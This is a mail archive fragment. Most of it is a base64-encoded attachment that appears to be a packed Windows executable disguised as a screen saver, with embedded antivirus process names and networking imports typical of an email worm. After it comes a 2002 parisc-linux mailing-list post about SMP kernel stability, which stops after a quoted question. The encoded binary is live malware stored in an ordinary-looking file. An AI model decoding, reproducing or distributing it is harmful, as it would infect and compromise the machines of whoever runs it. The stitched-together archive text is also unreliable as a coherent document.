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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA
AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA
KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//
AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA
AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA
+qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA
AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq
qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA
APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6
qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA
AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/
/wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w
B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA
XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA
AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy
AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA
dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz
AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA
aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu
AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA
AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy
AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A
ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO
AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA
IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy
AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE
AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ
VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y
AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB
AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO
RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j
ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy
bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAn+pBjpQtD8ytJ5Q9jk0ONzdlMppAKIeb6NI4Zm1YiiDzB80UOT0O35sAWPJg2HfLyokCAcPY
2TmwCqU4zes80KuRxQyxprHW21iThWWuRsv0mluQxz6mkyHpOZJsHDmU7rfEkGT1NsPGP0W9cAZ8
wdJCqUJZDKo0BE0SXUDQdumoMp5U5BKm81ZlB7WmZilCJbKWeZtDdQ+05PM9cD0ZnIMC9Z8FEEmd
JlqzTDjZQxt/MFlqAE640y0wG0NoCgZh4oSqZ/WdI2LPitHlroe4Ixi2sq5bzxK1VHdKJqgVLi32
SEQV54lUolVTSJvPGqQ52yHBmWQG6ZWaFoQnH6SF5ICYfcNyFNsZt8WGCHNqwHaTKR0cVDPpyjvo
bS3CafG6A4TYHzLcw3OF10ktwOMN6Ylc74t8FoyCQ/cvze9OYq7HKg58MMUCdgBZ4hcqE1nQ5iSu
FWDnPSNH8ksYBpKVH8wmdrN3HYYNOQVC9yz4ZHqArnxQvexbFMJbvrbK8E1huVLSJJFtR0byPYfs
sOMiPuUWxYG8IITsubwM5ilsaO4DHlvn9cMuLqhZf2/AhhitbmKNjWV91kMFRz+TL02YO7XNy62J
XvXxgJtKq3vXMVruL0bjNHnT4z4epjJOOZPyy7NWoFTVeudsF456cj4T7lExy4zA9MSXiiQx2CFM
AODZ0IeljTicbxt3iSlXZ1Ay1uyAJxIg1VMQOzwYWeKStgvyhCOw1Rjuvq+3pPFelgDAgkfPE2lu
FncCpkMAo8mJZ+3lKXhVoAZ5MkqIi3+EQ9VRXIoet5jzDuq9KFe0WS6vS7M8xL/mVRNmrt9VjacX
viyKobUysishRUNC0V/K0mdsbI+sdYuYHo3nhwCdhKbU4i8PpFuw9XZMb4sqc5WqmZcaE6QuUa+v
vYamPB+sLQtH24PYJuDUm+wAoCMLLvBN2jAUL+K2f83uaE0ItHjvIsjVHHS/MUHyMCS+7IUtK/g5
jJkGBVorIM/r9rOMcYOIyby54LLLtGmJZcTKp9euBXKbH0xRvLAPIxevhy8GPneAsJfV57zy2bsX
6WijpCRfMzP1HthzW5heMyxXQXzW1elL3vSy4K+NBZxmaO/rKObkqs7wFuN9oKUDzNv0Pwk7FJzz
g5NG1uC7H67DSQp3IN2/+XqvhnuyVtthQMebkQqJKRehleBRmN8L9cXXRwAiWtiJm+7auQpHemvX
jtpZPgIICcbggihLaYgS0yzvpNVLkQNcHyoGh1Ys8BlmSWqw1oUW0S8qkVoX3liQFjR24XMzeiMO
09kQUZOxwOLz091npTl/boKv3HMeqsqvRY6/pkvCcfMwK8mWxt7m3kzH5LfhASoCieiEFZrBqJNY
OVZkHxb3XH61Cq+Jao10QobPxhFv9W3cn98rOphVpJ2udhNDe8/jHJqZpe2jO1Qhai5wc2yRzE5r
D+xLGH/4G3DA47diFvAzvfm2bLyUMOTmcUHnMNJnkcYMQI94w0vu+FXeEfQf5uRahKcwQE5jn6Km
ucSQvPNbdG8PeLMOZDDVJwhe9r62dKYuP650l31mLaM/sTeJjllSmeuTYbSP2sjzEBmRoIIHE7Ya
zBmjckhU2wb2KrCFDyuwfjd73lvlnQiQKMHqzaHwi6QepAVjDsqT7E0IyZIxE1349NxstVQlgO4H
9eidbtPVQn8wYBTcqszysjDOsyYCQacQufPlAGk5koBmEiBne27XSy22SnzkOsL5g9RwrD+SkB0L
pJvMXrKAHJUl4pFnAYdY6ihyy4s35BNzRI8S8kSLFT2nrL9nRMRyxxrH4o3GLQNEAyS79dzEoQ+W
9d6K8nKvfpOBeJHGKgIHEjBaxM87GWbdWRhJBKejBZJRkH4XrtxkBcDkPwFcfJRptesm2GHEe6tn
lA04m6mEOTtzVcTXGkbxWLfwWcognrE3WrB839ICa/EOrsh9nIjD7gWq3hlhD4O1wUMC55PC3A2Q
jqrrhyY8DR3Rrizyb5LgdDvNfBgiDnGmrK3pDTbQ0XkbkJNlqZ33ixmyOI85Ys057/klNYgVkA0K
D8Mo1euFsbSOmaTwWHXwNyIrxpviBXmWU6QO7IV0vAhmWAsRl4sazCza2O1GlwApMi2FuWzQjFCC
02qxRe8lu7tzTduGg2TkZ9gPJYKpSObAfhl8CUaSIAodu3al6QMEx4306KCAVL4TCdPAbINibXga
SjNwbMFK7LafyPfevxz2JHRs9sNzIYaHNGt5Frjfes083krMWQoz8GW5GpHnDnJz4BQJEne+O3if
hZbo93wCRNA1gV1JzEm1wM63AhU+JI6kaFqCCJjx3BXyp7N0sJYXFl9NStQZme/YXCKlohuacqpT
nV2hzFx91lHyg7XR0ozGCRwZ7HUOXW0GiGYIBEjTYGnje9Zj3NwCht7gHGHX3/e1hsS3lXBmf118
LZWABHCT4WzWI4aQjrZ0IIwTGaQqR0NNkxc/QJSyQLKQxGCzspeMnPYRpE7T8l99odSlsVO8VpkG
90qRFgdeTVHVScnpNKclkhQikNLsHB+pz8Jc9O8KtiJmm1/oH+VqmSA2Z0a4M+TOenCSi1cgYG9K
ZdHT2CT2J0ZXLhTaiHHwzuqUxevCARHQJ1HWkYOsH3OTt0HmAzqhZY1xTLzECCRNivNH8omsJk/5
kA==
--opigilh--


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 15:48:20 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20020920194820.GC24622@systemhalted>
References: <20020919224609.DF1314829@dsl2.external.hp.com> <Pine.OSF.4.33.0209201006420.5180-100000@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621741 14246 80.91.229.3 (22 Nov 2014 02:02:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:21 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Istvan Gyenes <frts@simba.sch.bme.hu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 13:49:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA424829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 13:49:28 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17sTlF-0006ZF-00; Fri, 20 Sep 2002 15:48:21 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Istvan Gyenes <frts@simba.sch.bme.hu>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.OSF.4.33.0209201006420.5180-100000@simba.sch.bme.hu>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16203

> Thanks I'll try that!
> 
> Another question: If 2.4.19 SMP not enough stable where can I find the
> latest stable smp kernel source?
